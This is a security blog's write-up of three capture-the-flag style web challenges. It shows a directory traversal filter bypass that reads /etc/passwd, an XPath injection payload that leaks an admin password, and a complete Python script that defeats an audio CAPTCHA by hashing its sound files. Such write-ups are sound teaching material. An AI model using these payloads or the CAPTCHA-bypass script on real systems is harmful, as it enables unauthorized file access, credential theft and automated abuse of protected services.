SPECT Research

Security and Software Development


Home About us Projects Education

Solution to 8.8 AppSec Challenge

In this post I'll show the solution to the three challenges of 8dot8 AppSec Challenge. The site is not available anymore so the challenge description won't be very detailed. Any information on other ways to solve it are welcome.

Challenge 1: Directory Traversal

The challenge lied in including successfully the file /etc/passwd through a parameter vulnerable to a Directory Traversal attack. Although, the exploitation wasn't immediate. The passed value through the parameter was sanitized by a function that doesn't allow to scale directories to reach the desired file. To illustrate what happened, the following code snippet.

>>> param = '../../../../../../etc/passwd'
>>> param.replace('../', '')
'etc/passwd'

With those conditions, I had to find a vector that could bypass that sanitization function. The pattern is showed next.

>>> param = '....//....//....//....//....//....//etc/passwd'
>>> param.replace('../', '')
'../../../../../../etc/passwd'

With that vector the challenge was solved.

Challenge 2: XPath Injection

The second challenge involved a form vulnerable to XPath Injection. If even it could be solved using the Blind XPath Injection technique, first confirming the length with string-length(/users/user[1]/password) and then getting the chars with substring(), I utilized the concatenation. The admin password had to be concatenated with the second user's name, and it should show admin_password+name_second_user, however it showed the admin password. My vector of attack to get the admin's password was:

1]/password|/users/user[2

With the above vector, the final string was: /users/user[1]/password|/users/user[2]/name

As result, I got:

/users/user[1]/password|/users/user[2]/name -->Wrong password!<br/><br/><br/>
    <form method="POST" action="">
    <label for="user">User:</label><br/>
    <input id="user" name="user" value="iLovePwnies"/><br/>

Challenge 3: Captcha

I found the last challenge the most entertaining to solve. It was a CAPTCHA with images hard to decrypt through some script, but it had the option to play the audio with each letter present in the CAPTCHA word. The security flaw was added with that feature since, in spite of the name of the audio files were
random, each word was always the same word pronounced.

For this challenge, I first downloaded the audio files and I created my letter dictionary, relating the MD5 sum of each audio file with its pronounced letter, up to complete the alphabet. Then, the script requested the page with the CAPTCHA, reviewed the HTML code, got the audio filenames, downloaded them and the script compared their MD5 sum to the sums in my letter dictionary. That procedure returned me the key. All that 2500 times, because it was necessary to solve 500 CAPTCHAS of 5 letters each one. The code was the following:

#!/usr/bin/env python
import sys
import urllib
import urllib2
import re
import hashlib
import os
import socket

origGetAddrInfo = socket.getaddrinfo

def getAddrInfoWrapper(host, port, family=0, socktype=0, proto=0, flags=0):
    return origGetAddrInfo(host, port, socket.AF_INET, socktype, proto, flags)

# replace the original socket.getaddrinfo by our version
socket.getaddrinfo = getAddrInfoWrapper

letters = {
    'A': 'fc630d2b617c8b7e94c4812bfdb4c151',
    'B': '8ff4175902822c97a2f198bb17b596c8',
    'C': 'd6e9c5eb4bf9e2bb50dadf197fd9f9ad',
    'D': 'fc756bdca7c344c0b3a96f9fb9f3ca23',
    'E': '76f061e25691fe8c37fc12948a68c776',
    'F': '37db61f33af775fe40675c98810851d4',
    'G': '910352bd873c9d541f329cfdd348910d',
    'H': 'e8ddefee7523fd2947b7493eab90f895',
    'I': '1830ef4838c5149155f49e41d049af46',
    'J': 'dd9823c94ee36251f68a746862f87018',
    'K': 'df64287d9b711ee4a19b1d158ca4aa35',
    'L': '64cb2a64734a34d59d10d4ebb05e9d0e',
    'M': '4ac77b8f485b4050dc395aa52d812a9d',
    'N': '2aca06e764670cf4855e22da6d9ff00d',
    'O': '94fb69e7a14c15f4598ce122b7991436',
    'P': 'de2178a2bb4570b3c4c1a55e0432bb61',
    'Q': '8691e9fa1d84c9295f5f695580bfd4c3',
    'R': '0e680cb2891cf82f8941df92f2a384e3',
    'S': '33db6e42a8930f521263ba4818c4e835',
    'T': '4b3266346cfc6255b1bd031d62aaf5e3',
    'U': 'c4cc3f1a52e8e8fd1b9ee0e4f1885baa',
    'V': '919f5e551b7a319338523725d4d8f96a',
    'W': 'fb960f767bd6f8f210115aa6faa7d936',
    'X': 'c48d1f2c8e957e03538a0c780b11f0b6',
    'Y': 'bcfb544b8b6040021322023c8f3e2a5c',
    'Z': '684fcaa5a5c61c317b7b3ad2575a8066'
}

i = 0
captcha = ''
url = 'https://challenge.dreamlab.net/?captcha=%s&page=challenge&cid=11'
play_url = 'https://challenge.dreamlab.net/challenges_dir/11/playAudio.php?audio=%s'
cookie = 'PHPSESSID=eo251g8dl5obdbvjjbm49kmeg3'
pattern = re.compile('var soundQueue = new Array\(\n\t"(.*)","x"')
score = re.compile('You\'ve solved <em>(\d+)</em>')

while True:
    print 'Requesting %s' % (url % captcha)
    req = urllib2.Request(url % captcha)
    req.add_header('Cookie', cookie)
    response = urllib2.urlopen(req).read()

    c = score.search(response)
    if c:
        print 'Captchas resolved: %s' % c.groups()[0]

    m = pattern.search(response)
    sounds = m.groups()[0].split('","')

    captcha = ''
    for s in sounds:
        req = urllib2.Request(play_url % s)
        req.add_header('Cookie', cookie)
        response = urllib2.urlopen(req).read()

        md5 = hashlib.md5(response).hexdigest()
        captcha += [k for k, v in letters.iteritems() if v == md5][0]

    i = i + 1
    print 'Sending packet #%d' % i

Greetings and I wait another solutions!